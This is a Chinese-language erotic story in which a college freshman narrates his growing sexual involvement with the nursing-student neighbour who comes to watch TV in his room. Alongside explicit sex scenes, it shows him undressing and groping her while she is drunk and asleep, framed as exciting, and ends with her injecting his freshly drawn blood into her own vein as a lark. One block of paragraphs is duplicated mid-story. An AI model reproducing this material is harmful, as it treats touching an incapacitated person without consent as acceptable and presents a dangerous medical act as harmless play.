图片载入中

失去一个女人的痛

特大字】 【大字】 【中字】 【小字

如果说人生是一连串痛苦和快乐累积而成,那么这段往事可以说占据了我整个人生。它不是累积的一部分,而是占据了全部成了我人生的终结。在那之后,我可以说已经死去了。

究竟是怎样的痛,可以在一个人的人生,留下如此难以抹灭的伤痕?那就是,失去一个女人的痛。

故事,发生在那年夏天……

不对!不是那年夏天,这故事没有那么久远,其实是发生在今年六月,刚好就是不久以前?。

今年六月初,我就像其他大学生一样,陷入期末考的恐慌中。

六月,正是梅雨季刚过,进入酷暑的时节,骄阳每天在头顶尽情发威,整个新竹市像个大蒸笼一般,散发阵阵蒸腾的热气。

我把自己关在租来的学生公寓里,把那台破冷气冷气开到最强,埋首于经济学、微积分和统计学的巨大恶梦中。

我恨微积分,虽然已经过了一个学年,我还是搞不懂经济系学微积分到底有什么屁用,如果有时光机,我一定先去把牛顿和莱布尼兹这两个混帐王八蛋干掉。

我也恨统计学,这真的是世界上最没用、最莫名其妙的学科之一,发明统计学的人脑袋一定装大便,才会搞出这一堆模棱两可、可有可无的公式。我也恨新竹,虽然住在新竹的人都很幸福,但我真巴不得赶快离开这个城市,回到我的台北国。要不是为了读清大,我才不会被关在这个大蒸笼里面,每天满身大汗、吹着热唿唿的风,当一个废物大学生。

不对,我不是废物大学生,我是清大经济系的高材生,是的,我是一名优秀的大学生,每天怀着愤恨的心情,在新竹市这个鸟不生蛋的幸福城市,每天很幸福地过着大学生活。

看到这里,大家应该明白,我是一个怎样的人了。没错,我跟你们一样,是个满腔热血、看什么都不顺眼的大一学生,过完这个暑假就变大二。我就像大部分大学生一样,到了期末考,才陷入一阵惊恐,担心哪一科会不会被当,开始临时抱佛脚地、不甘愿地念书。

为什么期末考要在六月?这么热的天气,到底有谁可以念得下去呢?我看了一眼窗外,炙热的阳光烧烤着这城市,这间学生宿舍就像蒸笼里面包着铝箔纸,热到不像话。

那台破烂的冷气,有气无力地运转着,我看着不禁叹了一口气。

还是去楼下便利商店买瓶饮料,再继续念吧。

就在我踏出房间的同时,隔壁房间的门也打开了。

虽然住在这种公寓,随便偷窥邻居是不好的事,我的目光还是忍不住飘过去,很快瞥了一眼。

从隔壁房间走出来的,是个年轻女孩,头上扎着马尾,身穿无袖紧身T恤和小短裤,露出两条白皙的大腿。

她的身高不高,目测大概是160左右,身材秾纤合度,不会太胖也不会太瘦,皮肤像雪一般洁白。在这样炙热的天气,还能保持这么白的皮肤,想必她一定很努力在保养。

她的穿着,彻底展露了姣好的女性曲线,我忍不住吞了吞口水,心中暗暗吃惊。

其实,我不是第一次看到她。平常拿垃圾下楼,等垃圾车来的时候,偶而会看见她也提着垃圾在等。我吃惊的是,想不到她竟然就住在我隔壁!在这里住了快要一年,我到今天才发现这件事。

这时,她轻轻关上门,转过头来,大眼睛看着我,目光直直和我相对。我吓了一跳,赶紧转移视线,装作若无其事的样子,慢慢往楼梯方向走去。我到楼下买了饮料,回到房间,拿起书继续读着,心却怎么都静不下来,脑中一直回想刚才看见的女生。

一直想着住在我隔壁的女生。

一切发生得那么突然。

就好像吹着气球,不知道它什么时候会爆开,当你一个不注意,爆炸声就把你吓一跳一样。

隔天,事情毫无预警地发生了。

我提着一篮散发恶臭的衣服,慢慢跺到洗衣间。那是这间公寓共用的洗衣间,里面有三台投币式洗衣机。

一走进去,就看见那女生,也就是住在我隔壁的女孩,正在将洗衣机中的衣服收进篮子里。

另外两台洗衣机还在运转着,也就是说,我必须等她收完衣物,才能用那台洗衣机洗衣服。

于是我站在门口,假装没事一样,偷偷用眼角余光打量着她。

大概是衣服都丢进去洗了,现在的她,穿得比之前还要清凉,上半身是一件无袖贴身的挖背小背心,下面穿着短到不能再短的小热裤。

我看见她白玉一般的手臂,正上上下下地拿出衣物,屁股高高地翘起,慢条斯理地动作着。

终于,她把衣物都收进篮子,提着篮子走了出来。她轻轻瞥了我一眼,点了点头,迳自走了。

我走到那台洗衣机前,正要把整篮的衣服倒进去,这时我发现洗衣槽内有个东西,不禁大吃一惊!

白色的底,粉红色的花纹,配上一圈蕾丝花边。那是一件女生的内裤!是她忘记拿的内裤?我很快做出这样的判断。

“小、小姐……”我第一个反应,是赶快叫住她。

“什么?”她转过头,露出疑惑的表情。

“你、你、”

我这才发现,我不知道该如何开口!我要跟她说,她的内裤忘记拿吗?这样会被当成变态吗?

此刻,我第一次和她面对面,终于清楚地看清她的长相。

天啊,她好正!现在的她,仍然扎着马尾,露出弧度美丽的鹅蛋脸,浏海她的小背心毫无掩饰地展现出她胸前的曲线,圆圆地往前鼓起着,看来胸部相当有料!目测起码有C以上。

第一次看这么正的妹面对面,我不禁感到脸红心跳,脑中一片空白,好像整个人轻飘飘一样。

“你的内裤忘记拿。”

当我回过神来,我手中竟然已经抓着那条内裤,还说出一句这么猥亵的话。

天、天啊!糟了!我到底在干嘛呀?

“内裤?”

她走进两步,歪着头,看着我手中的内裤。

“那不是我的喔。”她说。

她竟然否认!难道这真的不是她的内裤吗?那又为什么会在洗衣机里?“那、那么、”我结结巴巴地说:“不是你的话,我只好带回去喔。”天啊!我一定是疯了!

“拿来啦!”她走了过来,一把抢走我手中的内裤,凶巴巴地说:“你变态吗?”

说完,她将内裤丢进篮子,头也不回地走了。我看着她的背影,马尾左右甩动,看起来青春洋溢。

我愣在原地,手中仿佛还留着那内裤的触感。我把手拿起来,闻了一下。洗衣精的味道,好香。

*****

隔天,我拿垃圾到楼下,等着垃圾车,又看见那女孩。

“嗨!”不知道哪来的勇气,我对她打招唿。

她轻蹙眉头,疑惑地看着我,似乎在想我是谁。

“是你喔!”她说:“昨天那个变态。”

“我不是变态啦。”我说。

“想留内裤就是变态。”

“要怪你自己忘记拿吧。”我反驳。

“谁说我忘记!”她说:“我故意的,怎么样?”

听到她这么说,我顿时语塞。她这样说是什么意思?我感到脑中乱成一团。“你是学生吗?”隔了半分钟,我问。

“嗯。”

“我读清大”我说:“你念哪?”

“仁德护专。”

“是喔!”我微微吃惊。“仁德护专……那不是在苗栗吗?”

“对呀,很近啦,骑车一下就到了。”

“原来你是通勤上学唷。”

这时,垃圾车放着给爱丽丝,慢慢开过来了,我们于是结束了这场对话。这是我第一次和她聊天。

*****

又过了两天,我仍然身陷在期末考的地狱中。

晚上八点,却一点也感受不到夏夜的清凉,空气又湿又闷,为了节省电费,我只能把电风扇开到最大,满身大汗地算着微积分考古题。

这时,“咚咚咚”有人敲门。

这个时间,会是谁来找我呢?说来惭愧,虽然当了一年大学生,我还没交到几个朋友。孤僻的我,从来没想过会有同学跑来我宿舍。

打开门一看,竟然是隔壁的护专妹。

“你好!”她很有活力地说:“可以借用一下你的房间吗?”

“要、要干嘛?”我结结巴巴地说。

“我想看娘家。”她说:“可是我房间的电视坏掉了,好讨厌喔,已经开始演了说。”

“那、那、”

“我可以进去吗?”

“可以、可以。”我后退几步,说:“可是……你不怕我是变态吗?”“我看你也不敢对我怎么样。”

她慢慢走进我房间,环顾四周一圈。

“你房间好乱喔。”她说:“电视借我看唷,你不会介意吧?”

“不会,你慢慢看。”

这时,我才注意到她的服装,登时大吃一惊!

她穿着一件白色的V领T恤,虽然比较宽松,却还是遮不住她姣好的身材,下半身仍然是小短裤。

让我吃惊的是,她似乎没有穿奶罩,胸前隐约可见凸起的两点!

她蹲到电视前面,转到民视,坐在地上看了起来。

我则是走回书桌前,拿起笔,继续读着微积分,但是,却怎样都无法专心,频频转头偷看专心看着电视的她。

趁着广告时间,我开口说话了。

“我叫陈志明,你呢?”

“我叫梁巧菁,你可以叫我小菁。”

从我这个方向看过去,刚好可以看见她V字领里面,雪白的酥胸看得一清二楚,可是看不见奶头。

我看着眼前的画面,忽然觉得,这个夏夜,似乎变得凉快许多了。

从那天起每到晚上八点,小菁就会敲我房门疑跑来我房间看娘家。就连周末她也会来,星期六看我猜,星期天看某台重播的终极三国。

她并非免费占用我的房间,偶而会带几瓶海尼根分我喝或是带一包卤味叫我一起吃。

她总是穿得很随性,有时穿一件宽大的T恤盖过屁股,看起来就好像没穿裤子(说不定真的没穿裤子),有时穿着护校的蓝色实习制服,那让我联想到A片里面的幼稚园保母。最重要的是,她很喜欢不穿奶罩,胸前常常可看见明显的激凸。

每当她来我房间,就是我“不专心”的时刻。一个激凸正妹在旁边看电视,这样谁读得下去?到最后,我索性坐到她旁边,和她一起看连续剧,一边喝着啤酒,趁广告时间和她聊几句。

就这样,过没几天,我便和她混熟了。

和她聊过之后,才知道她也是台北人,生长在单亲家庭,家里还算有钱。她之所以选择住在新竹,是因为她喜欢上新竹的风,还有最重要的是,她觉得新竹和台北国很像。

因此,她每天过着通勤上下学的生活,骑着机车,沿着西滨公路,骑20公里到学校上课。

“新竹到后龙……”我问:“是不是有点远啊?”

“不会啦。”小菁回答:“每天骑车,吹吹海风,这样子很好玩呀。”“下次我载你去,好不好?”我天真地说。

“不用。”她说:“我自己骑车就可以了。”

“真的不用吗?”

“我高兴,你管我?”

说实话,身为一个男人,坐在这样一个没穿奶罩的正妹旁边,我无时无刻都想把她扑倒。但毕竟是大一,有色无胆,害怕要是被她拒绝,她以后就不来我家了。再加上我没什么朋友,所以每天只是和她一起看着电视,过着禽兽不如的生活。

*****

我发现小菁有异于常人之处,是在我们认识之后一个礼拜。

随着期末考渐渐逼近,我再也没办法投入连续剧的剧情中,一边看着电视,心中担心着期末学分。

那天,娘家播映完毕,响起片尾曲“牵手”,我按捺不住,跳到书桌前,拿起微积分考古题开始看了起来。

“我高兴,你管我?”

说实话,身为一个男人,坐在这样一个没穿奶罩的正妹旁边,我无时无刻都想把她扑倒。但毕竟是大一,有色无胆,害怕要是被她拒绝,她以后就不来我家了。再加上我没什么朋友,所以每天只是和她一起看着电视,过着禽兽不如的生活。

*****

我发现小菁有异于常人之处,是在我们认识之后一个礼拜。

随着期末考渐渐逼近,我再也没办法投入连续剧的剧情中,一边看着电视,心中担心着期末学分。

那天,娘家播映完毕,响起片尾曲“牵手”,我按捺不住,跳到书桌前,拿起微积分考古题开始看了起来。

“你在看什么?”她走到我身后,好奇地问。

“微积分。”我说:“世界上最邪恶的东西。”

“是喔,我也要看。”

“你看不懂吧?”

她不理会我,头凑了过来,下巴靠在我肩膀上,看着我手上的考古题。她两鬓的细发被电扇一吹,不断搔着我的颈子,弄得我整个脖子又毛又痒,我闻到她头发传来一阵香味,是洗发精的味道。

“这题答案是2(e^x-1)^1/2 C。”她突然说。

“咦?”

我迟疑了一下,翻到后面看了看答案,竟然跟她说的一样!

“为什么?”我问:“怎么算的?”

“这题要求e^x/(e^x-1)^1/2dx的积分,”她说:“你先令u=e^x-1,则

du=e^xdx,所以e^x/(e^x-1)^1/2dx的积分=du/u^1/2的积分=u^(-1/2)du

的积分=2u^(1/2) C=2(e^x-1)^1/2 C。”她一边说,一边拿笔在纸上写出算式,竟然一目了然,百分百完全正确!这时,她已经整个身体靠在我背上,胸前浑圆的两粒紧紧贴着我,我闻到她身上散发出的少女体香。

但是,此刻我的注意力没有放在她的肉体上,而是……

“为什么你会算微积分?”我吃惊地问道。

“微积分很简单呀。”她淡淡地说:“我以前拿课本看过。”

“看过就会了?”

“对呀。”她说:“这么简单的东西,看过还不会喔?你好好笑哦!”“这、这、……”

听到她这么说,我登时瞪大眼睛,张大嘴巴,半天说不出话。此刻我心中的惊讶,已经无以复加!

原本以为,她会微积分,只是普通的巧合。

但是,我很快便发现,这不是偶然的。事实上,她很聪明,而且不是普通的聪明,而是非常非常聪明!

我把统计学课本拿给她,她很快翻了一遍,竟然把所有公式都搞懂,而且还能帮我解题目。只是记忆力没那么强,还要一边翻课本查公式而已。小菁这个女孩,竟然是一个天才少女!

“你、你这么聪明,”我吃惊地问:“为什么要去读护专?”

“因为,”她回答:“我高兴呀!读护专很好玩啊!”

她的回答,让身为清大高材生、把学历看得很重的我,听了当场目瞪口呆。

曾经看过一则报导,国外有个研究机构,寄出大量智力测验题目到世界各地,最后测出来智商最高的,竟然是一名妓女。所以,谁说五专生程度都很差?在我眼前,就有一个护专妹,精通微积分和统计学!

*****

经过那天的事情,我才知道,我遇到一个怪咖女孩了。

她的智商高得离谱,正因如此,她的个性十分古怪,既矛盾又和谐、怪异却合乎常理。

很多关于她的事情,我都感到不可思议,随口问她,她的回答几乎都是“我高兴呀”。

例如她为什么要考苗栗的护专、为什么要住在新竹每天通勤、为什么不穿奶罩就跑进男生房间,她都回答“我高兴”。

我想起第一天认识她的情形。我从洗衣机拿出她的内裤,她原本否认,却又立刻抢走,隔天又说是故意把内裤留在里面,她就是这样,一个言行矛盾又和谐的女孩。

再举个例子,有次我问她:“你会热吗?”

“还好。”她说。

“不开冷气,没关系吧?”我问。

“反正你这么小气,我看你也不会开。”

“我哪里小气?”我反驳。“我只是想节省电费。”

“你不想多花钱就承认吧。”

“你说什么?”我生气地说:“难道我借你房间,还要开冷气给你吹?”“所以说你小气呀,呵呵。”

我登时头痛欲劣,不知该如何反驳,只能气得吹胡子瞪眼睛。

从那天起,她来我家看完电视,就会充当家教,教我微积分和统计学。以我堂堂清大高材生,竟然要被一个护专妹指导,实在是一件丢脸到家的事,但为了期末欧趴,我也不管这么多了。

“你毕业以后打算干嘛?”我问:“要当护士吗?”

“我想去卖槟榔。”她很认真地说。

“卖槟榔!?”我大吃一惊!“当槟榔西施吗?”

“嗯。”

“这、这、”我说:“会认识一些背景复杂的人物吧……例如混黑道的男人。”

“这样正好。”她笑了起来:“我很想当黑道大哥的女人呢!”

我听了她的回答,脑中混乱一片,心想,大概只有黑道大哥,才受得了这么聪明的正妹吧。

*****

我和小菁第一次的亲密接触,发生在她开始当我家教的三天后。

那天,晚上八点,我一如往常,等待着小菁来敲门。可是等了很久,敲门声一直没有响起。

她跑去哪了?为什么不来找我看电视呢?我无心念书,心中不停胡思乱想着。

我坐立难安,从八点一直等到十点半,终于听见走廊传来脚步声,接着是“砰”的一声,重物倒地的声音。

我开门一看,只见小菁穿着护校实习制服,倒在门口地上,一头长发任意散乱着。

我吃了一惊,连忙走过去扶她起来,一靠近她,就闻到她身上散发浓浓的酒味。

“小菁!”我大叫:“你还好吗?”

“我醉了,呵呵呵……”小菁满脸通红,笑着说:“我被抛弃了,可是我一点也不难过,因为我醉了……”

她到底怎么走上来的呀?我纳闷了一下,决定带她到我房间躺着。我把她扶了起来,走进房间,放在我的床上。

我走回书桌前,继续埋首于个体经济学课本当中,可是心情起伏不定,根本没办法专心,一直偷偷打量躺在床上的她。

她穿着蓝色的实习制服,上半身胸前有一排扣子,下半身则是长裙,胸脯随着唿吸上下起伏。她轻轻皱着眉头,紧闭双眼,睡得正熟。

看来,她刚被男人抛弃,才借酒浇愁,醉成这个样子。究竟是怎样的男人,能狠心丢弃这么正的女生呢?我眼睛盯着课本上的文字,却一个字都看不进去。

不晓得过了多久,身后响起她的声音。

“喂……”她坐在床上,一面整理着散乱的头发,对我说:“来抱抱我好不好?”

听到她这么说,我心中登时大喜!但是,请原谅我真的有色无胆,对小菁这样的要求,我竟然拒绝了。

“……我们还是朋友,这样子不太好吧?”我嗫嚅着说。

“那你来坐我旁边。”她对我招手。“我们来聊天。”

如果是聊天的话,应该没什么关系吧。我这么想着,立刻移动屁股,坐到她旁边的床上。

她虽然说要聊天,眼睛却看着地面,闭口不语。我也不知道要说什么,两个人就这样默默坐着。

由于弹簧床是软的,和地板不同,我们并肩而坐,弹簧床中间陷了下去,导致我和她的大腿紧紧贴在一起。我不敢做出越轨的举动,两手安分地放在大腿上,静静地等待她接下来的举动。

“你会说故事吗?”她突然说。

“什么故事?”

“讲鬼故事给我听好不好?”

我点点头,脑中回忆着marvel板的文章,随便选了个鬼故事讲了起来。“事情发生在国外,”我说:“有个隧道曾经发生巴士事故,死了很多人,那天之后,隧道陆续出现许多传闻,经过的人变少了,隧道因此逐渐变得荒凉……

“一天,有个外地人开车进入隧道,开着开着,突然听见‘砰、砰砰、砰砰……’的声音,不规则地作响着。他觉得很奇怪,转头看车内,一个人都没有,但是‘砰砰、砰砰砰……’声音仍然持续不断,这种感觉,就好像很多人,正用手拍他的车子。

“他吓坏了,立刻把油门踩到底,飞快地冲出隧道,一直冲到市区,才停车检查。一看之下发现,车窗上出现许多黑色手印,大的、小的、杂乱无章地印在车窗上。

“刚好前面有加油站,他立刻过去洗车。洗完之后,手印竟然原封不动,好像根本洗不掉一样……他怀疑是洗车机效果不好,找了加油站员工来问,员工拿布擦了半天,最后跟他说……”

这时,我顿了一下,深吸一口气,她似乎听得很投入,瞪大眼睛看着我“先生,那些手印是从车子里面拍出来的……”

“哎呀呀!”她大叫起来:“好恐怖!”

她全身缩成一团,整个人扑进我怀里,我被她的举动吓了一跳,登时全身僵硬,缓缓伸手抱住她。

她的身体好软好绵,胸部紧紧贴在我大腿上,我清楚感觉到她酥胸的柔软和硕大。

糟糕,我硬了!

她窝在我怀里,我心想,绝对不能被她发现我身体的变化。于是我狠下心,轻轻推开她。

这时,我不知道哪来的勇气,伸出颤抖的手,轻轻解开她胸前的扣子。一颗、二颗、三颗、四颗、五颗……我把她上衣的扣子全部解开,往两边一拉,她的上半身就这样裸露在我面前。

不,不是完全裸露,因为她还穿着胸罩。我看着她白色蕾丝的胸罩,上面托着酥嫩雪白的上半球,以及性感的锁骨、浑圆的肩膀,忍不住吞了吞口水,慢慢伸手摸向她的酥胸。

这时,她突然往后倒下。

“对不起,我好想睡……”她侧躺着,屁股朝着我。“你的床借我睡一下。”

我愣了几秒,也躺了下来,从后面抱着她,下体仍然是硬挺的状态,一时之间,我不知道该冲?还是不该冲?

过了良久,只听见她鼻息均匀,已经沈沈睡去。我伸出手,隔着胸罩,偷偷摸着她的胸部。

她的乳房大小适中,刚好是一手能掌握的大小,我大着胆子,整只手握住奶子,轻轻搓揉着。

她的奶子好圆好软,像装水的气球一样软,我搓了一阵,慢慢将手伸进她的奶罩,摸到她的奶头。

“嗯……”她突然呻吟了一声,把我吓一大跳。

此刻,我感觉下面好热好痒,好想和她来一发,可是又不敢真的冲下去。我玩了一阵她的奶头,觉得玩够了,于是抱着半裸的她,用下体轻轻磨蹭她的屁股沟,就这样,不知不觉我也睡着了。

那晚,什么事情都没有发生。

接下来几天,我和小菁之间的关系,演变得越来越怪异。

事后回想起来,我还是不确定,当时那样发展下去到底是福是祸?当然,那时的我根本没想那么多,就这样一头栽下去了。人生不就是这样子的吗?

隔天,她来我房间看完娘家,突然提出要求。

“喂,”她说:“我们来床上聊天好不好?”

我毫不犹豫,坐上床,和她并肩坐在一起,就像昨晚一样。

“告诉你喔,”她说:“我昨天做了一个梦。”

“什么梦?”

“我梦见你偷摸人家胸部。”

“啊……”我登时满脸发烫,恨不得找个洞钻进去。

“你这个胆小鬼。”她笑着说:“女生醉倒在你房间,你竟然什么都没做。”

“什么胆小鬼!”我有点生气地说:“我只是不想破坏我们的关系。”“借口一堆。”她说:“你就是没种,什么都不敢做。”

“你、你、”

我简直快气炸了,她竟然说我没种?我可是一个男人,有男性尊严要维持的啊!

“你信不信我现在就把你推倒?”我虚张声势地说。

“你不敢。”

“我真的敢喔!”

“你不敢。”

被她说中了,我真的不敢。看着眼前的小菁,她可爱的五官、姣好的女体,我从来没想像过、也不敢想像,和这样的正妹做爱,是什么感觉。我并不是处男,也不是没看过正妹,只是高中时代上过的女生都是普妹,所谓正妹只是躺在我硬盘里、一张张jpg图档罢了。要如何形容现在的感觉呢?就好像第一次高空弹跳,总是会犹豫再三,害怕跳下去的感觉一样。

我又发现一件事,由于小菁智商很高,她每次都会一针见血地直接讲出重点,往往第一个回答就是正解,不管怎么辩都辩不赢她。

因此,我索性不再反驳,闭口不言。

这时,小菁突然靠了过来,两手伸到我背后,紧紧地抱住我。

我被她的举动吓了一跳,全身僵硬,不知如何是好。

她今天穿着细肩绑带小可爱,下半身是牛仔七分裤,无袖的衣服露出浑圆的肩膀,小巧玲珑,看得我恨不得凑上去咬一口。

我感觉她胸前浑圆的两粒贴在我胸口,她今天有穿奶罩,紧紧环抱之下,胸罩的钢圈压得我胸前隐隐作痛。我闻到她身上散发一股清新的香味,不晓得是她少女的天然体香,还是沐浴乳的味道?

她的头紧靠在我肩膀上,忽然啜泣几声,哭了起来。她哭得一点也不激烈,只是偶而吸几下鼻水,默默流着眼泪,全部流在我衣服上。

她哭了好久好久,就这样抱着我,哭了大概有一个世纪那么久。

终于,她的身体缓缓退开,我看见她眼眶泛红,表情却不怎么悲伤。大概已经发泄情绪,她的嘴角漾着微笑。

她两手移到我胸前,摸着我的胸肌,轻轻按压了几下,接着缓缓往下移动,摸着我的肚子。

“你有啤酒肚。”她说。

“嗯。”我承认。

“你这个胖子。”

“我根本不胖,好吗?”

“可是你有胖肚肚。”

“是男人都有啤酒肚,懂吗?”

“不对,只有胖子才有。”

“就跟你说我不是胖子。”我生气地说:“你看我哪里胖?”

“肚子胖呀。”她笑着说。

又来了,不知道该怎么反驳,我登时气得哑口无言、头痛欲劣。

“如果这样抓你,”她说着,在我肚皮上搔了几下。“你会痒吗?”“会耶。”

“这样呢?”

她说完,用力在我肚子上乱捏一通,弄得我奇痒无比!

“非常痒!”我被她搔痒,登时忍不住呵呵大笑起来。“呵呵呵、呵呵呵、不要再弄了啦。”

“如果我一直搔你痒,”她笑着说:“你会对我怎样?”

“我会也搔你痒。”

我说着,伸手到她腰间,用力捏了几下。她似乎也很痒的样子,大笑闪躲着,我们就像小朋友一样,互相搔着对方的肚子。

“你跟我玩这个,不怕我把你扑倒吗?”我说。

“我已经告诉你啦。”她笑着说:“你不敢。”

“谁说我不敢?”

不知道哪来的勇气,我一把将她推倒在床上,伸手一拉,她的细肩带就被我解开了,我用力扯掉她的上衣,她的上半身就这样只剩下胸罩,半裸着呈现在我眼前。

“唷,真令人意外哪!”她丝毫没有害羞的样子,也不想遮掩,大喇喇地说:“竟然脱我的上衣耶。”

“我还会脱你胸罩。”我说:“然后用力吸你胸部。”

“你不敢。”她挑衅似的说。

她今天穿着粉红色的胸罩,蕾丝花边上面托着又白又嫩的胸部,皮肤像雪一样白。

好像又被她说中了。

我真的不敢。

那天,还是什么事都没发生。

*****

隔天,我跟她又发生进一步的关系。同时,这天也是我命运转折点。不,大家不要误会了,命运转折是后来发生的事,只是在那之前刚好和她发生亲密接触而已。

那天看完娘家,我问她:“你为什么这么喜欢绑马尾?”

“我高兴呀。”她回答:“夏天这么热,头发绑起来比较凉快。”

“你知不知道,你绑马尾很性感?”

“怎么说?”

“你脖子和耳朵旁边的毛。”我说:“看起来很嫩很好吃。”

“你想亲亲看吗?”

“想……”我犹豫了一下,下面又硬了。“当然想……”

“可以给你亲喔。”她说。

“真、真的吗?”

这次,我不等她回答,立刻将嘴巴凑了上去,亲吻着她的后颈和耳朵。瞬间,仿佛天雷勾动地火,我和她之间再也没有隔阂,不,应该说,我终于卸下心中那道防线,迫切地、急躁地想要占有她。

她的耳朵好嫩,颈子白皙无暇,绑起来的发根下方露出细细的卷毛,我热切地亲吻着,轻轻咬了一下她的耳朵。

“啊……”她发出一声娇嫩的呻吟。

我感觉下面好痒好热,好像一股能量全都集中到下半身,随时都要一口气爆发出来一样。我抱着她的头,吻了一遍又一遍,慢慢从后颈吻到脸颊,再吻上她的唇。

她鼻中唿出芳香的气息,轻轻吹拂在我脸上,她的嘴唇软软的,又湿又绵,比泡泡糖还要软,还带着一股清甜的香气。我忍不住伸出舌头,探入她的唇间,舔到她的牙齿,她也配合地迎合着我,伸出舌头和我交缠。我的手不安分地往下摸去,抓着她的乳房,她今天没穿奶罩,这是我第一次完整地摸到她的胸部。我大起胆子,拉起她的T恤,将手伸进她的衣服,轻轻覆上她的奶子。

她的奶子刚好可以一手掌握,我将她的乳房放在手中,轻轻揉捏,感觉软绵到极点,随着我的搓揉,掌中的奶头也像花苞一般高高翘起。

“嗯……”她呻吟一声,身体靠了过来,两手摸着我的胸肌。

我一手摸着奶子,另一手不由自主地往更下面摸去。她下半身穿着小短裤,我的手伸到她的跨下,探进她短裤的缝隙,拨开她的内裤,终于,我摸到她的蜜穴。

她下面好热好湿,整个下体都黏答答的,又滑又嫩。我轻轻抠着她的小穴,忍不住将手指刺入,一口气把整只手指都插了进去,接着,再慢慢退出、再一次慢慢深入,就这样进进出出地玩着她的小穴。

我嘴巴吻着她,一手搓揉胸部,一手玩弄蜜穴,感觉我们的身体火烫,恨不得立刻交合在一起,好好发泄一番。

她发出细细的呻吟,两手慢慢往下移动,摸着我的敏感部位,我的老二早已硬梆梆地翘起,被她这样一摸,登时酥麻无比,麻痒的感觉越来越强烈。

“你是处女吗?”我问。

“不是。”她低声说。

“我们这样好吗……?”

她没有回答,我将手退出她的蜜穴,轻轻把她推在床上,两手捧着她的脸,轻轻吻着她的脸庞、嘴唇、鼻子、耳朵,再慢慢往下移,亲吻她的肩膀和锁骨,一只手撩起她的衣摆,让她的胸部完全展露出来。

这是我第一次完整地看到她的胸部,她的胸形好美好漂亮,大小适中,乳头高高翘起,我两手轻轻搓揉着她的奶子,嘴巴凑了上去,轻轻吸吮她的奶头。

“嗯……啊……”

她呻吟着,我感觉她的大腿传来轻微的震颤,她现在一定也很想要吧。我的头慢慢往下移动,吻过她的肋骨,闻着她肚皮的香味,慢慢移到她的腿间。

我好渴望把她剥光,把我的老二放进她的小穴,好好品尝她美丽的肉体。可是……

这时,我胆怯了。

就像即将打开神秘的宝盒一样,不知道里面藏着什么东西,只差临门一脚却又不敢继续。

我停下动作,轻轻帮她拉上衣服,瞬间,罪恶感一涌而出。

“我早就说了吧,呵呵。”她大笑起来:“你这个胆小鬼,根本就不敢。”“嗯,我真的不敢。”我说:“对不起……”

我也不知道我到底在道歉什么。

“喂,志明,”她说:“帮我一个忙好不好?”

“说说看。”

“可以让我练习抽血吗?”她说:“期末考就要考了,我觉得还不是很熟练。”

我该答应还是拒绝?在这个当下,我当然会答应的。不过就是练习抽血,有什么不好的吗?

如果,这一刻我拒绝她,后面的剧情就不会爆走,也不会有之后那些不寻常的事件。

可是,此时此刻,谁知道以后会怎样呢?

人生,不就是一连串错误的选择,以及一连串快乐和痛苦,累积而成的吗?

我几乎是毫不犹豫地、下意识地回答了。

“可以呀。”我说:“我让你练习抽血。”

“要让我练习抽血的话……”她说:“来我房间吧。”

当我跟在她后面,走进她的房间时,不禁暗暗吃惊。

原本以为正妹的房间,会充满粉红色系的家俱,墙上是花花的海报,床上堆满蕾丝装饰的小枕头,看起来像公主的寝宫一样。

但是眼前所见,完全不是那么一回事。

只见格局跟我差不多的房间,摆着颜色朴素的桌椅,床单和棉被都是浅蓝色的,房间整理得十分干净整洁,每个细节都一尘不染。

唯一显得凌乱的,只有她的衣橱,里面乱七八糟地堆着衣服。

大概她衣服太多,懒得整理吧。

另外,就如我想像的一样,女生的房间总是充满一股香气,不愧是正妹的房间,空气中弥漫着难以言喻的芳香。

“来,坐这边。”她拉出一张小茶几,以及两个小板凳,放在茶几两边,示意我坐下。

接着,她从五斗柜中拿出抽血的器材,包括软垫、止血带、酒精棉、针筒和针头。

“手放上来。”她把软垫摆在茶几上,命令我伸出手。

“左手还右手?”“都可以啦。”我按照她所说,将手臂放上软垫,手心朝上,肘关节靠在软垫上面。

“你、你、”我忍不住担心地问:“你技术还ok吧?会不会把我整只手弄得都乌青?”

“放心,整只手都乌青的人已经被我弄过了。”她笑着说:“我现在只是不太熟练而已。”她轻巧地在我对面坐了下来,拿起止血带,熟练地绑在我的上臂。

“手握拳喔。”她说。“轻轻握住就好。”

我按照指示,轻轻地握住拳头。

不久,只见我肘关节内侧,也就是手臂可以弯起来的地方,慢慢浮现几条清晰可见的静脉。

她在我肘关节内侧轻轻拍了几下,用手指轻轻摸着那几条静脉,似乎在考虑要戳哪一条。

接着,她将针头装上针筒,拿起酒精棉,在我手肘内侧擦了几下,我顿时感觉皮肤一阵清凉。

她拿着针筒,将针头对准我的静脉。“来,深唿吸∼”她温柔地说。在我吸气的同时,她轻轻将针头刺了进去,我几乎感觉不到疼痛,就看见血沿着针头涌进针筒里面。

她慢慢将针筒活塞往后拉,只见我的血液很慢很慢地、不断涌入针筒里头。她见状,立刻松开了我的止血带,等待血液流出。

此刻,我的手臂伸直,伸向坐在对面的她,拳头离她的胸部不到一公分,只要再往前一点,就能碰到她的胸部。

我现在才明白,为什么这么多人会对护士有性幻想,因为光是抽血这样的动作,就已经让人感觉十分亲密,更不用说被护士照顾私密部位的病患了。

过了一段时间,只见鲜血已经充满针筒,她拿了一团酒精棉,压在穿刺处,慢慢将针头抽了出来。

“你自己压着棉花。”她笑着说:“压大概五分钟吧。”

“抽完了喔?”我问。

“嗯。”

“技术不错嘛!”

“你的静脉比较明显。”她说:“很好抽,我上次帮同学抽,根本找不到静脉,一戳下去,结果戳到她的神经,她当场神经反射揍了我一拳。”

天啊,我一想到那个情景,不禁感到手臂一阵抽痛。

“那……现在勒?”我看着桌上的针筒,里面装满了血,那是我的鲜血,刚从我静脉抽出来的血。

“没事了。”她说:“如果你高兴的话,可以再让我抽另外一只手。”“呃……等等吧。”我指着桌上的针筒,问:“这管血要怎么处理?丢掉吗?”

“待会拿去马桶冲掉。”她说。

“什么?”我大叫:“太浪费了吧!我的血竟然要拿去冲马桶?”

“才20cc而已。”她说:“这么一点点血,根本没差啦。”

“只能丢掉吗?”我问:“这是我宝贵的血液耶,难道没有其他用途吗?”“你希望有什么用途?”她说:“再帮你打回去吗?”

“啊!”突然,一个突发奇想的念头,跳进我脑中。“打进你身体,你觉得怎样?”

“咦?”她说:“好像很好玩耶。你的血型是?”

“O型。”

“我也是O型。”她说:“那我把你的血,注射到我身体里喔!你应该没有性病吧?”

“怎么可能。”

“你要帮我绑一下止血带。”她说着,教我在她手臂上,绑上止血带。接着,按照刚才的步骤,她把针头插入自己静脉内,将我的血液,注射到她的体内。

